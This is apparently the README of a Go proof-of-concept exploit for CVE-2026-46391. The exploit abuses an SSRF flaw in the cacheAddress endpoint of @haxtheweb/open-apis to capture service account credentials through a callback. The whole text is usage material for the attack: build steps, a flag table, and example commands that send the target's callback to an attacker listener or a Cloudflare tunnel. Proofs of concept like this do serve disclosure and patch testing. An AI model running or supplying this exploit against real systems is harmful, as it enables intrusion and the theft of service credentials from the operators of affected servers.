bradyjmcl/cve-2026-46391Proof of concept exploit for CVE-2026-46391
Proof of concept for CVE-2026-46391. Triggers the SSRF vulnerability in the cacheAddress endpoint of @haxtheweb/open-apis and captures the service account credentials sent in the callback.
go build -o cve-2026-46391 .
go test ./...
./cve-2026-46391 -u <web-root> -l <listener> [-p port] [-t seconds] [-v]
| Flag | Description | Default |
|---|---|---|
-u, --url | Target web root (e.g. http://10.10.0.80:3000) | required |
-l, --listener | Your IP/hostname or tunnel URL (e.g. 192.168.1.10, https://uuid.trycloudflare.com) | required |
-p, --port | Local port to listen on | 8080 |
-t, --timeout | Seconds to wait for callback | 30 |
-v, --verbose | Print headers and body of every inbound request | off |
Direct (same network as target):
./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201
Via VPS/Cloudflare tunnel/etc:
./cve-2026-46391 -u http://10.10.0.80:3000 -l https://random-words.trycloudflare.com
Custom port and timeout:
./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201 -p 9090 -t 60